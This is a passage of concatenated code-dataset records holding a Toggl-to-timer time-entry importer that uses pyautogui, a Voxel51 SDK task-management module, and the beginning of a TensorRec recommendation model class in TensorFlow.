'__main__':\n unittest.main()","sub_path":"v0/Cf2.Nlp.Tests/synonym_test.py","file_name":"synonym_test.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"263492999","text":"import requests, json, pyautogui, time\nfrom typing import List, Dict, Iterable, Callable\nfrom abc import abstractmethod\n\n\nclass Toggl:\n _BASE_SUMMARY_URL = \"https://toggl.com/reports/api/v2/summary\"\n _WORKSPACES_URL = \"https://www.toggl.com/api/v8/workspaces\"\n _PASSWORD = \"api_token\"\n\n def __init__(self, api_key: str, workspace_id: int = None, user_agent: str = \"api_test\"):\n self.api_key = api_key\n self.workspace_id = workspace_id\n self.user_agent = user_agent\n\n def get_available_workspaces(self) -> List[Dict]:\n response_text = requests.get(self._WORKSPACES_URL, auth=(self.api_key, self._PASSWORD)).text\n return json.loads(response_text)\n\n def get_entries_1_day(self, date: str) -> Dict:\n \"\"\"\n @param date: a string in the format 'YYYY-MM-DD'\n \"\"\"\n response = requests.get(\n \"%s?user_agent=%s&workspace_id=%s&since=%s&until=%s\" % (\n self._BASE_SUMMARY_URL,\n self.user_agent,\n self.workspace_id,\n date,\n date\n ),\n auth=(self.api_key, self._PASSWORD)\n )\n return json.loads(response.text)\n\n\nclass TimeEntry:\n def __init__(self, client_and_project: str = None, service_item: str = None, task: str = None, time_ms: int = None, description: str = None):\n \"\"\"\n @param client_and_project: the client and project in the form :\n \"\"\"\n self.client_and_project: str = client_and_project\n self.service_item: str = service_item\n self.task: str = task\n self.time_ms: int = time_ms\n self.description: str = description\n\n def __str__(self):\n return \"c&p: %s; service_item: %s; task: %s; time_hr: %s; desc: %s\" % (\n self.client_and_project,\n self.service_item,\n self.task,\n self.time_ms / 60000 / 60,\n self.description\n )\n\n\nclass _EntryParser:\n @abstractmethod\n def parse_summary_entry_data(self, daily_data: Dict):\n \"\"\"\n @param daily_data: data for a single day\n \"\"\"\n raise NotImplementedError\n\n\nclass ExampleParser(_EntryParser):\n def __init__(self,\n toggl_project_to_client_name_map: Dict[str, str]={},\n toggl_project_name_map: Dict[str, str]={}):\n self._toggl_project_to_client_name_map = toggl_project_to_client_name_map\n self._toggl_project_name_map = toggl_project_name_map\n\n def parse_summary_entry_data(self, daily_data: Dict) -> Iterable[TimeEntry]:\n time_entries = []\n for project in daily_data['data']:\n # get client name \n client_name = project['title']['project'] # I store client in toggl project name field\n if client_name and client_name in self._toggl_project_to_client_name_map: # sometimes, the client name in toggl is slightly different than the actual client name\n client_name = self._toggl_project_to_client_name_map[client_name]\n\n # loop through entries for that client\n # for now, I'll just add a new entry for each entry in toggl\n # at some point, might want to intelligently combine entries\n for toggl_info in project['items']:\n entry = TimeEntry()\n\n toggl_entry_info = toggl_info['title']['time_entry'].split('|')\n if len(toggl_entry_info) == 3 or len(toggl_entry_info) == 4:\n if client_name:\n project_name = toggl_entry_info[0]\n if project_name in self._toggl_project_name_map:\n project_name = self._toggl_project_name_map[project_name]\n if client_name != \"\":\n entry.client_and_project = \"%s:%s\" % (client_name, project_name)\n else:\n entry.client_and_project = \"%s\" % project_name\n else:\n entry.client_and_project = toggl_entry_info[0]\n if len(toggl_entry_info) == 3:\n entry.service_item = toggl_entry_info[1]\n entry.description = toggl_entry_info[2]\n if len(toggl_entry_info) == 4:\n entry.service_item = toggl_entry_info[1]\n entry.task = toggl_entry_info[2]\n entry.description = toggl_entry_info[3]\n elif len(toggl_entry_info) == 2:\n entry.client_and_project = \"\"\n entry.service_item = toggl_entry_info[0]\n entry.description = toggl_entry_info[1]\n elif len(toggl_entry_info) == 1:\n entry.description = toggl_entry_info[0]\n entry.time_ms = toggl_info['time']\n time_entries.append(entry)\n return time_entries\n\n\nclass _EntryImporter:\n @abstractmethod\n def import_entries(self, entries: List[TimeEntry], skip_logic: Callable[[str, str], bool], slowdown_factor: float = 1):\n raise NotImplementedError\n\n\nclass ExampleEntryImporter(_EntryImporter):\n def import_entries(self, entries: Iterable[TimeEntry], skip_logic: Callable[[str, str], bool], slowdown_factor: float = 1):\n pyautogui.alert(\"Open timer and set the correct date. Press OK when ready to auto import time. Slam mouse into one of the corners of the screen at any point to cancel the sequence.\")\n time.sleep(slowdown_factor*2)\n for entry in entries:\n if skip_logic(entry.client_and_project, entry.service_item):\n print(\"Skipped: \" + str(entry))\n continue\n time_hrs_rounded = None\n if entry.time_ms:\n time_hrs = entry.time_ms / 1000.0 / 60 / 60\n # convert to hours, round to the nearest 15 minute increment\n time_hrs_rounded = (float(int((time_hrs + 0.125) * 4))) / 4\n if time_hrs_rounded <= 0:\n print(\"Skipped: \" + str(entry) + \". Insufficient time.\")\n continue\n pyautogui.hotkey('ctrl', 'n')\n time.sleep(slowdown_factor*1)\n pyautogui.hotkey('f2')\n time.sleep(slowdown_factor*0.3)\n if entry.client_and_project:\n pyautogui.typewrite(entry.client_and_project, pause=0.2)\n time.sleep(slowdown_factor*0.5)\n pyautogui.hotkey('tab')\n if entry.service_item:\n pyautogui.typewrite(entry.service_item)\n time.sleep(slowdown_factor*0.1)\n pyautogui.hotkey('tab')\n if entry.task:\n pyautogui.typewrite(entry.task)\n time.sleep(slowdown_factor*0.25)\n pyautogui.hotkey('tab')\n if time_hrs_rounded:\n pyautogui.typewrite(str(time_hrs_rounded))\n time.sleep(slowdown_factor*0.1)\n pyautogui.hotkey('tab')\n pyautogui.hotkey('tab')\n pyautogui.hotkey('tab')\n pyautogui.hotkey('tab')\n pyautogui.hotkey('tab')\n if entry.description:\n pyautogui.typewrite(entry.description)\n pyautogui.hotkey('enter')\n time.sleep(slowdown_factor*1)\n pyautogui.alert(\"Time entry complete\")\n\n\ndef pull_and_import_single_day(date,\n api_key,\n toggl_project_to_client_name_map: Dict[str, str] = {},\n toggl_project_name_map: Dict[str, str] = {},\n skip_logic: Callable[[str, str], bool] = lambda cp, ser_it: False,\n slowdown_factor: float = 1):\n \"\"\"\n @param date: a string in the format 'YYYY-MM-DD'\n @param api_key: a Toggl API key\n @param toggl_project_to_client_name_map: map of toggl project names to official client names, in case they are different\n @param toggl_project_name_map: map of toggl project name to official project name\n @param skip_logic: a function that takes parameters (client_and_project: str, service_item: str) and returns\n True if the any item meeting those conditions should be skipped and False otherwise\n @param slowdown_factor: a multiplier applied to import waits. Increase the value of this parameter to run the import process more slowly.\n\n General strategy:\n - use toggl API to pull report data\n - a summary report that's grouped by project and subgrouped by time_entries should work (see https://github.com/toggl/toggl_api_docs/blob/master/reports/summary.md)\n - use some automation tool to import time to timer\n \"\"\"\n\n # grab raw data from the Toggl\n my_toggl = Toggl(api_key)\n workspaces = my_toggl.get_available_workspaces()\n print(workspaces)\n time.sleep(1) # max 1 request per second to toggl's API\n my_toggl.workspace_id = workspaces[0][\"id\"]\n data = my_toggl.get_entries_1_day(date)\n print(data)\n\n # parse it to nicely formatted structure\n e = ExampleParser(toggl_project_to_client_name_map, toggl_project_name_map)\n parsed_data = e.parse_summary_entry_data(data)\n for day in parsed_data:\n print(day)\n\n # import it\n importer = ExampleEntryImporter()\n importer.import_entries(parsed_data, skip_logic, slowdown_factor=slowdown_factor)\n\n\ndef main():\n # an example: \n api_key = \"\" # SET THIS TO YOUR API KEY (e.g. \"4b5c6d7e8b8c8e9e8e7b7a6a1a3c5b4a\"). Find it at https://toggl.com/app/profile.\n pull_and_import_single_day(\"2020-02-05\", api_key)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"toggl/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"88925055","text":"#!/usr/bin/env/python\n'''\nTask management module for the Voxel51 Vision Analytics SDK.\n\n| Copyright 2017-2019, Voxel51, Inc.\n| `voxel51.com `_\n|\n'''\n# pragma pylint: disable=redefined-builtin\n# pragma pylint: disable=unused-wildcard-import\n# pragma pylint: disable=wildcard-import\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom builtins import *\nfrom future.utils import iteritems\n# pragma pylint: enable=redefined-builtin\n# pragma pylint: enable=unused-wildcard-import\n# pragma pylint: enable=wildcard-import\n\nimport logging\nimport os\nimport sys\n\ntry:\n import urllib.parse as urlparse # Python 3\nexcept ImportError:\n import urlparse # Python 2\n\nfrom eta.core.config import Config\nimport eta.core.log as etal\nfrom eta.core.serial import Serializable\nimport eta.core.utils as etau\n\nimport voxel51.api as voxa\nimport voxel51.config as voxc\nimport voxel51.utils as voxu\n\n\n_API_CLIENT = None\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass TaskConfig(Config):\n '''Class that describes a request to run a job.'''\n\n def __init__(self, d):\n self.analytic = self.parse_string(d, \"analytic\")\n self.job_id = self.parse_string(d, \"job_id\")\n self.inputs = self.parse_object_dict(\n d, \"inputs\", voxu.RemotePathConfig, default={})\n self.parameters = self.parse_dict(d, \"parameters\", default={})\n self.status = self.parse_object(d, \"status\", voxu.RemotePathConfig)\n self.logfile = self.parse_object(d, \"logfile\", voxu.RemotePathConfig)\n self.output = self.parse_object(\n d, \"output\", voxu.RemotePathConfig, default=None)\n\n\nclass TaskState(object):\n '''Enum describing the possible states of a task.'''\n\n READY = \"READY\"\n QUEUED = \"QUEUED\"\n RUNNING = \"RUNNING\"\n FAILED = \"FAILED\"\n COMPLETE = \"COMPLETE\"\n\n\nclass TaskManager(object):\n '''Class for managing the execution of a task.'''\n\n def __init__(self, task_config, task_status=None):\n '''Creates a TaskManager instance.\n\n Args:\n task_config (TaskConfig): a TaskConfig instance\n task_status (TaskStatus, optional): an optional TaskStatus instance\n to use. If not provided, the default TaskStatus is created\n '''\n self.task_config = task_config\n if task_status is not None:\n self.task_status = task_status\n else:\n self.task_status = make_task_status(task_config)\n\n @classmethod\n def from_url(cls, task_config_url):\n '''Creates a TaskManager for the TaskConfig downloadable from the given\n URL.\n\n Args:\n task_config_url (str): a URL from which to download a TaskConfig\n\n Returns:\n a TaskManager instance\n '''\n task_config = download_task_config(task_config_url)\n return cls(task_config)\n\n def start(self):\n '''Marks the task as started and publishes the TaskStatus to the\n platform.\n '''\n start_task(self.task_status)\n\n def download_inputs(self, inputs_dir):\n '''Downloads the task inputs.\n\n Args:\n inputs_dir (str): the directory to which to download the inputs\n\n Returns:\n a dictionary mapping input names to filepaths\n '''\n return download_inputs(inputs_dir, self.task_config, self.task_status)\n\n def parse_parameters(self, data_params_dir=None):\n '''Parses the task parameters.\n\n Args:\n data_params_dir (str, optional): the directory to which to download\n data (non-builtin) parameters, if any. By default, this is None\n\n Returns:\n a dictionary mapping parameter names to values (builtin parameters)\n or paths (data parameters)\n '''\n return parse_parameters(\n data_params_dir, self.task_config, self.task_status)\n\n def record_input_metadata(self, name, video_path=None, metadata=None):\n '''Records metadata about the given input.\n\n Either ``video_path`` or ``metadata`` must be provided.\n\n Args:\n name (str): the input name\n video_path (str, optional): (for video inputs only) the path to the\n input video. The metadata is computed for you via\n ``eta.core.video.VideoMetadata``\n metadata (dict, optional): a metadata dict describing the input\n '''\n if video_path:\n metadata = voxu.get_metadata_for_video(video_path).serialize()\n self.task_status.record_input_metadata(name, metadata)\n\n def post_job_metadata(self, video_path):\n '''Posts the job metadata for the task.\n\n Note that this function currently only supports jobs that process\n a single video.\n\n Args:\n video_path (str): the path to the input video for the job\n '''\n post_job_metadata_for_video(\n video_path, self.task_config, self.task_status)\n\n def add_status_message(self, msg):\n '''Adds the given status message to the TaskStatus for the task. The\n status is not yet published to the platform.\n\n Args:\n msg (str): a status message\n '''\n self.task_status.add_message(msg)\n\n def publish_status(self):\n '''Publishes the current status of the task to the platform.'''\n self.task_status.publish()\n\n def upload_output(self, output_path):\n '''Uploads the task output.\n\n Args:\n output_path (str): the local path to the output file to upload\n '''\n upload_output(output_path, self.task_config, self.task_status)\n\n def upload_output_as_data(self, name, output_path):\n '''Uploads the given task output as data on behalf of the user.\n\n Args:\n name (str): the name of the output\n output_path (str): the local path to the output file to upload\n '''\n upload_output_as_data(\n name, output_path, self.task_config, self.task_status)\n\n def complete(self, logfile_path=None):\n '''Marks the task as complete and publishes the TaskStatus to the\n platform.\n\n Args:\n logfile_path (str): an optional path to a logfile to upload for the\n task\n '''\n complete_task(\n self.task_config, self.task_status, logfile_path=logfile_path)\n\n def fail_gracefully(self, logfile_path=None):\n '''Marks the task as failed and gracefully winds up by posting any\n available information (status, logfile, etc.) to the platform.\n\n Args:\n logfile_path (str): an optional local path to a logfile for the\n task\n '''\n fail_gracefully(\n self.task_config, self.task_status, logfile_path=logfile_path)\n\n\nclass TaskStatus(Serializable):\n '''Class for recording the status of a task.\n\n Attributes:\n name (str): name of the analytic\n state (TaskState): current TaskState of the task\n start_time (str): time the task was started, or None if not started\n complete_time (str): time the task was completed, or None if not\n completed\n fail_time (str): time the task failed, or None if not failed\n messages (list): list of TaskStatusMessage instances for the task\n inputs (dict): a dictionary containing metadata about the inputs to the\n task\n posted_data (dict): a dictionary mapping names of outputs posted as\n data to their associated data IDs\n '''\n\n def __init__(self, task_config):\n '''Creates a TaskStatus instance.\n\n Args:\n task_config (TaskConfig): a TaskConfig instace describing the task\n '''\n self.name = task_config.analytic\n self.state = TaskState.QUEUED\n self.start_time = None\n self.complete_time = None\n self.fail_time = None\n self.messages = []\n self.inputs = {}\n self.posted_data = {}\n self._publish_callback = make_publish_callback(\n task_config.job_id, task_config.status)\n\n def record_input_metadata(self, name, metadata):\n '''Records metadata about the given input.\n\n Args:\n name (str): the input name\n metadata (dict): a dictionary or Serializable object describing the\n input\n '''\n self.inputs[name] = metadata\n\n def record_posted_data(self, name, data_id):\n '''Records the ID of data posted to the cloud on the user's behalf.\n\n Args:\n name (str): the output name\n data_id (str): the ID of the posted data in cloud storage\n '''\n self.posted_data[name] = data_id\n\n def start(self, msg=\"Task started\"):\n '''Marks the task as started.\n\n Subclasses may override this method, but, if they do, they must set\n ``self.state = TaskState.RUNNING`` themselves or call this method.\n\n Args:\n msg (str, optional): a message to log\n '''\n self.start_time = self.add_message(msg)\n self.state = TaskState.RUNNING\n\n def complete(self, msg=\"Task complete\"):\n '''Marks the task as complete.\n\n Subclasses may override this method, but, if they do, they must set\n ``self.state = TaskState.COMPLETE`` themselves or call this method.\n\n Args:\n msg (str, optional): a message to log\n '''\n self.complete_time = self.add_message(msg)\n self.state = TaskState.COMPLETE\n\n def fail(self, msg=\"Task failed\"):\n '''Marks the task as failed.\n\n Subclasses may override this method, but, if they do, they must set\n ``self.state = TaskState.FAILED`` themselves or call this method.\n\n Args:\n msg (str, optional): a message to log\n '''\n self.fail_time = self.add_message(msg)\n self.state = TaskState.FAILED\n\n def add_message(self, msg):\n '''Adds the given message to the status. Messages are timestamped and\n stored in an internal messages list.\n\n Args:\n msg (str): a message to log\n\n Returns:\n the timestamp of the message\n '''\n message = TaskStatusMessage(msg)\n self.messages.append(message)\n return message.time\n\n def publish(self):\n '''Publishes the task status using ``self._publish_callback``.'''\n self._publish_callback(self)\n\n def attributes(self):\n '''Returns a list of class attributes to be serialized.'''\n return [\n \"name\", \"state\", \"start_time\", \"complete_time\", \"fail_time\",\n \"messages\", \"inputs\", \"posted_data\"]\n\n\nclass TaskStatusMessage(Serializable):\n '''Class encapsulating a task status message with a timestamp.\n\n Attributes:\n message (str): the message string\n time (str): the timestamp string\n '''\n\n def __init__(self, message, time=None):\n '''Creates a TaskStatusMessage instance.\n\n Args:\n message (str): a message string\n time (str, optional): an optional time string. If not provided, the\n current time in ISO 8601 format is used\n '''\n self.message = message\n self.time = time or etau.get_isotime()\n\n def attributes(self):\n '''Returns a list of class attributes to be serialized.'''\n return [\"message\", \"time\"]\n\n\ndef setup_logging(logfile_path, rotate=True):\n '''Configures system-wide logging so that all logging recorded via the\n builtin ``logging`` module will be written to the given logfile path.\n\n Args:\n logfile_path (str): the desired log path\n rotate (bool, optional): whether to rotate any existing logfiles (True)\n or append to any existing logfiles (False). By default, this is\n True\n '''\n logging_config = etal.LoggingConfig.default()\n logging_config.filename = logfile_path\n etal.custom_setup(logging_config, rotate=rotate)\n\n\ndef get_task_config_url():\n '''Gets the TaskConfig URL for this task from the\n ``voxel51.config.TASK_DESCRIPTION_ENV_VAR`` environment variable.\n\n Returns:\n the URL from which the TaskConfig for the task can be read\n '''\n return os.environ[voxc.TASK_DESCRIPTION_ENV_VAR]\n\n\ndef download_task_config(task_config_url):\n '''Downloads the TaskConfig from the given URL.\n\n Args:\n task_config_url (str): the URL from which the TaskConfig can be read\n\n Returns:\n the TaskConfig instance\n '''\n path_config = voxu.RemotePathConfig.from_signed_url(task_config_url)\n task_config_str = voxu.download_bytes(path_config)\n logger.info(\"TaskConfig downloaded from %s\", task_config_url)\n return TaskConfig.from_str(task_config_str)\n\n\ndef make_task_status(task_config):\n '''Makes a TaskStatus instance for the given TaskConfig.\n\n Args:\n task_config (TaskConfig): a TaskConfig instance describing the task\n\n Returns:\n a TaskStatus instance for tracking the progress of the task\n '''\n task_status = TaskStatus(task_config)\n logger.info(\"TaskStatus instance created\")\n return task_status\n\n\ndef start_task(task_status):\n '''Marks the task as started and publishes the TaskStatus to the platform.\n\n Args:\n task_status (TaskStatus): the TaskStatus for the task\n '''\n logger.info(\"Task started\")\n task_status.start()\n task_status.publish()\n\n\ndef make_publish_callback(job_id, status_path_config):\n '''Makes a callback function that can be called to publish the status of an\n ongoing task.\n\n Args:\n job_id (str): the ID of the underlying job\n status_path_config (RemotePathConfig): a RemotePathConfig specifying\n where to publish the TaskStatus\n\n Returns:\n a function that can publish a TaskStatus instance via the syntax\n ``publish_callback(task_status)``\n '''\n def _publish_status(task_status):\n voxu.upload_bytes(\n task_status.to_str(), status_path_config,\n content_type=\"application/json\")\n logger.info(\"Task status written to cloud storage\")\n\n _get_api_client().update_job_state(job_id, task_status.state)\n logger.info(\"Job state %s posted to API\", task_status.state)\n\n return _publish_status\n\n\ndef download_inputs(inputs_dir, task_config, task_status):\n '''Downloads the task inputs to the specified directory.\n\n Args:\n inputs_dir (str): the directory to which to download the inputs\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n\n Returns:\n a dictionary mapping input names to their downloaded filepaths\n '''\n input_paths = {}\n for name, path_config in iteritems(task_config.inputs):\n local_path = voxu.download(path_config, inputs_dir)\n input_paths[name] = local_path\n logger.info(\"Input '%s' downloaded\", name)\n task_status.add_message(\"Input '%s' downloaded\" % name)\n\n return input_paths\n\n\ndef parse_parameters(data_params_dir, task_config, task_status):\n '''Parses the task parameters. Any data parameters are downloaded to the\n specified directory.\n\n Args:\n data_params_dir (str): the directory to which to download data\n parameters, if any. Can be None if no data parameters are expected\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n\n Returns:\n a dictionary mapping parameter names to values (builtin parameters) or\n downloaded filepaths (data parameters)\n '''\n parameters = {}\n for name, val in iteritems(task_config.parameters):\n if voxu.RemotePathConfig.is_path_config_dict(val):\n path_config = voxu.RemotePathConfig(val)\n local_path = voxu.download(path_config, data_params_dir)\n parameters[name] = local_path\n logger.info(\"Parameter '%s' downloaded\", name)\n task_status.add_message(\"Parameter '%s' downloaded\" % name)\n else:\n logger.info(\"Found value '%s' for parameter '%s'\", val, name)\n parameters[name] = val\n\n return parameters\n\n\ndef post_job_metadata_for_video(video_path, task_config, task_status):\n '''Posts the job metadata for the task, which must have the given video\n as its sole input.\n\n Args:\n video_path (str): the path to the input video\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n '''\n vm = voxu.get_metadata_for_video(video_path)\n metadata = {\n \"units\": vm.total_frame_count, # @todo deprecate?\n \"frame_count\": vm.total_frame_count,\n \"duration_seconds\": vm.duration,\n \"size_bytes\": vm.size_bytes\n }\n\n post_job_metadata(metadata, task_config, task_status)\n\n\ndef post_job_metadata(metadata, task_config, task_status):\n '''Posts the job metadata for the task.\n\n Args:\n metadata (dict): a dictionary describing the input metadata for the\n job. It should include all of the following fields, if applicable:\n ``units``, ``frame_count``, ``duration_seconds``, ``size_bytes``\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n '''\n job_id = task_config.job_id\n _get_api_client().post_job_metadata(job_id, metadata)\n task_status.add_message(\"Job metadata posted\")\n\n\ndef upload_output(output_path, task_config, task_status):\n '''Uploads the given task output.\n\n Args:\n output_path (str): the path to the output file to upload\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n '''\n voxu.upload(output_path, task_config.output)\n logger.info(\"Output uploaded to %s\", task_config.output)\n task_status.add_message(\"Output published\")\n\n\ndef upload_output_as_data(output_name, output_path, task_config, task_status):\n '''Uploads the given output as data on behalf of the user.\n\n Args:\n output_name (str): the name of the task output that you are posting\n output_path (str): the path to the output file to post as data\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n '''\n data_id = _get_api_client().upload_job_output_as_data(\n task_config.job_id, output_path)\n task_status.record_posted_data(output_name, data_id)\n logger.info(\"Output '%s' published as data\", output_name)\n task_status.add_message(\"Output '%s' published as data\" % output_name)\n\n\ndef complete_task(task_config, task_status, logfile_path=None):\n '''Marks the task as complete and publishes the TaskStatus to the platform.\n\n Args:\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n logfile_path (str, optional): the path to a logfile to upload\n '''\n logger.info(\"Task complete\")\n task_status.complete()\n task_status.publish()\n if logfile_path:\n upload_logfile(logfile_path, task_config)\n\n\ndef upload_logfile(logfile_path, task_config):\n '''Uploads the given logfile for the task.\n\n Args:\n logfile_path (str): the path to a logfile to upload\n task_config (TaskConfig): the TaskConfig for the task\n '''\n logger.info(\"Uploading logfile to %s\", str(task_config.logfile))\n voxu.upload(logfile_path, task_config.logfile)\n\n\ndef fail_gracefully(task_config, task_status, logfile_path=None):\n '''Marks the task as failed and gracefully winds up by posting any\n available information (status, logfile, etc.).\n\n Args:\n task_config (TaskConfig): the TaskConfig for the task\n task_status (TaskStatus): the TaskStatus for the task\n logfile_path (str, optional): the path to a logfile to upload\n '''\n # Log the stack trace and mark the task as failed\n exc_info = sys.exc_info()\n logger.error(\"Uncaught exception\", exc_info=exc_info)\n task_status.fail()\n\n try:\n # Try to publish the task status\n task_status.publish()\n except:\n logger.error(\"Failed to publish job status\")\n\n try:\n # Try to upload the logfile, if any\n if logfile_path:\n upload_logfile(logfile_path, task_config)\n except:\n logger.error(\"Failed to upload logfile\")\n\n\ndef fail_epically(task_config_url):\n '''Handles an epic failure of a task that occurs before the TaskConfig was\n succesfully downloaded. The platform is notified of the failure as fully\n as possible.\n\n Args:\n task_config_url (str): the URL from which the TaskConfig was to be\n download\n '''\n #\n # Log exception, even though we'll be unable to upload the logfile\n # because something went wrong before we were even able to parse the\n # task config to get the logfile path\n #\n logger.error(\"Uncaught exception\", exc_info=sys.exc_info())\n\n #\n # Get job ID from task path\n #\n # This assumes the signed URL is of the following form:\n # task_config_url = \"/:jobId/status.json?\n #\n path = urlparse.unquote(urlparse.urlparse(task_config_url).path)\n job_id = os.path.basename(os.path.dirname(path))\n\n try:\n # The only thing we can do is update the job status to FAILED\n _get_api_client().update_job_state(job_id, TaskState.FAILED)\n logger.info(\"Job state %s posted to API\", TaskState.FAILED)\n except:\n logger.error(\"Unable to communicate with API\")\n\n\ndef _get_api_client():\n global _API_CLIENT\n if _API_CLIENT is None:\n _API_CLIENT = voxa.make_api_client()\n return _API_CLIENT\n","sub_path":"voxel51/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":21849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"465395283","text":"import numpy as np\nfrom scipy import sparse as sp\nimport tensorflow as tf\n\nfrom .loss_graphs import rmse_loss\nfrom .representation_graphs import linear_representation_graph\nfrom .session_management import get_session\n\n\nclass TensorRec(object):\n\n def __init__(self, n_components=100,\n user_repr_graph=linear_representation_graph,\n item_repr_graph=linear_representation_graph,\n loss_graph=rmse_loss):\n \"\"\"\n A TensorRec recommendation model.\n :param n_components: Integer\n The dimension of a single output of the representation function. Must be >= 1.\n :param user_repr_graph: Method\n A method which creates TensorFlow nodes to calculate the user representation.\n See tensorrec.representation_graphs for examples.\n :param item_repr_graph: Method\n A method which creates TensorFlow nodes to calculate the item representation.\n See tensorrec.representation_graphs for examples.\n :param loss_graph: Method\n A method which creates TensorFlow nodes to calculate the loss function.\n See tensorrec.loss_graphs for examples.\n \"\"\"\n\n # Arg-check\n if (n_components is None) or (user_repr_graph is None) or (item_repr_graph is None) or \\\n (loss_graph is None):\n raise ValueError(\"All arguments to TensorRec() must be non-None\")\n if n_components < 1:\n raise ValueError(\"n_components must be >= 1\")\n\n self.n_components = n_components\n self.user_repr_graph_factory = user_repr_graph\n self.item_repr_graph_factory = item_repr_graph\n self.loss_graph_factory = loss_graph\n\n self.tf_user_representation = None\n self.tf_item_representation = None\n self.tf_user_feature_biases = None\n self.tf_item_feature_biases = None\n self.tf_projected_user_biases = None\n self.tf_projected_item_biases = None\n self.tf_prediction_sparse = None\n self.tf_prediction_dense = None\n self.tf_rankings = None\n\n # Training nodes\n self.tf_basic_loss = None\n self.tf_weight_reg_loss = None\n self.tf_loss = None\n self.tf_optimizer = None\n\n # TF feed placeholders\n self.tf_n_users = None\n self.tf_n_items = None\n self.tf_user_features = None\n self.tf_item_features = None\n self.tf_user_feature_indices = None\n self.tf_item_feature_indices = None\n self.tf_user_feature_values = None\n self.tf_item_feature_values = None\n self.tf_y = None\n self.tf_x_user = None\n self.tf_x_item = None\n self.tf_learning_rate = None\n self.tf_alpha = None\n\n # For weight normalization\n self.tf_weights = []\n\n def _create_feed_dict(self, interactions_matrix, user_features_matrix, item_features_matrix,\n extra_feed_kwargs=None):\n\n # Check that input data is of a sparse type\n if not sp.issparse(interactions_matrix):\n raise Exception('Interactions must be a scipy sparse matrix')\n if not sp.issparse(user_features_matrix):\n raise Exception('User features must be a scipy sparse matrix')\n if not sp.issparse(item_features_matrix):\n raise Exception('Item features must be a scipy sparse matrix')\n\n # Coerce input data to zippable sparse types\n if not isinstance(interactions_matrix, sp.coo_matrix):\n interactions_matrix = sp.coo_matrix(interactions_matrix)\n if not isinstance(user_features_matrix, sp.coo_matrix):\n user_features_matrix = sp.coo_matrix(user_features_matrix)\n if not isinstance(item_features_matrix, sp.coo_matrix):\n item_features_matrix = sp.coo_matrix(item_features_matrix)\n\n feed_dict = {self.tf_n_users: user_features_matrix.shape[0],\n self.tf_n_items: item_features_matrix.shape[0],\n self.tf_user_feature_indices: [*zip(user_features_matrix.row, user_features_matrix.col)],\n self.tf_user_feature_values: user_features_matrix.data,\n self.tf_item_feature_indices: [*zip(item_features_matrix.row, item_features_matrix.col)],\n self.tf_item_feature_values: item_features_matrix.data,\n self.tf_x_user: interactions_matrix.row,\n self.tf_x_item: interactions_matrix.col,\n self.tf_y: interactions_matrix.data}\n\n if extra_feed_kwargs:\n feed_dict.update(extra_feed_kwargs)\n\n return feed_dict\n\n def _build_tf_graph(self, n_user_features, n_item_features):\n\n # Initialize placeholder values for inputs\n self.tf_n_users = tf.placeholder('int64')\n self.tf_n_items = tf.placeholder('int64')\n self.tf_user_feature_indices = tf.placeholder('int64', [None, 2])\n self.tf_user_feature_values = tf.placeholder('float', None)\n self.tf_item_feature_indices = tf.placeholder('int64', [None, 2])\n self.tf_item_feature_values = tf.placeholder('float', None)\n self.tf_y = tf.placeholder('float', [None], name='y')\n self.tf_x_user = tf.placeholder('int64', None, name='x_user')\n self.tf_x_item = tf.placeholder('int64', None, name='x_item')\n self.tf_learning_rate = tf.placeholder('float', None)\n self.tf_alpha = tf.placeholder('float', None)\n\n # Construct the features as sparse matrices\n self.tf_user_features = tf.SparseTensor(self.tf_user_feature_indices, self.tf_user_feature_values,\n [self.tf_n_users, n_user_features])\n self.tf_item_features = tf.SparseTensor(self.tf_item_feature_indices, self.tf_item_feature_values,\n [self.tf_n_items, n_item_features])\n\n # Build the representations\n self.tf_user_representation, user_weights = \\\n self.user_repr_graph_factory(tf_features=self.tf_user_features,\n n_components=self.n_components,\n n_features=n_user_features,\n node_name_ending='user')\n self.tf_item_representation, item_weights = \\\n self.item_repr_graph_factory(tf_features=self.tf_item_features,\n n_components=self.n_components,\n n_features=n_item_features,\n node_name_ending='item')\n\n # Calculate the user and item biases\n self.tf_user_feature_biases = tf.Variable(tf.zeros([n_user_features, 1]))\n self.tf_item_feature_biases = tf.Variable(tf.zeros([n_item_features, 1]))\n\n self.tf_projected_user_biases = tf.reduce_sum(\n tf.sparse_tensor_dense_matmul(self.tf_user_features, self.tf_user_feature_biases),\n axis=1\n )\n self.tf_projected_item_biases = tf.reduce_sum(\n tf.sparse_tensor_dense_matmul(self.tf_item_features, self.tf_item_feature_biases),\n axis=1\n )\n\n # Prediction = user_repr * item_repr + user_bias + item_bias\n # The reduce sum is to perform a rank reduction\n\n # For the sparse prediction case, reprs and biases are gathered based on user and item ids\n gathered_user_reprs = tf.gather(self.tf_user_representation, self.tf_x_user)\n gathered_item_reprs = tf.gather(self.tf_item_representation, self.tf_x_item)\n gathered_user_biases = tf.gather(self.tf_projected_user_biases, self.tf_x_user)\n gathered_item_biases = tf.gather(self.tf_projected_item_biases, self.tf_x_item)\n self.tf_prediction_sparse = (tf.reduce_sum(tf.multiply(gathered_user_reprs,\n gathered_item_reprs), axis=1)\n + gathered_user_biases + gathered_item_biases)\n\n # For the dense prediction case, repr matrices can be multiplied together and the projected biases can be\n # broadcast across the resultant matrix\n self.tf_prediction_dense = (\n tf.matmul(self.tf_user_representation, self.tf_item_representation, 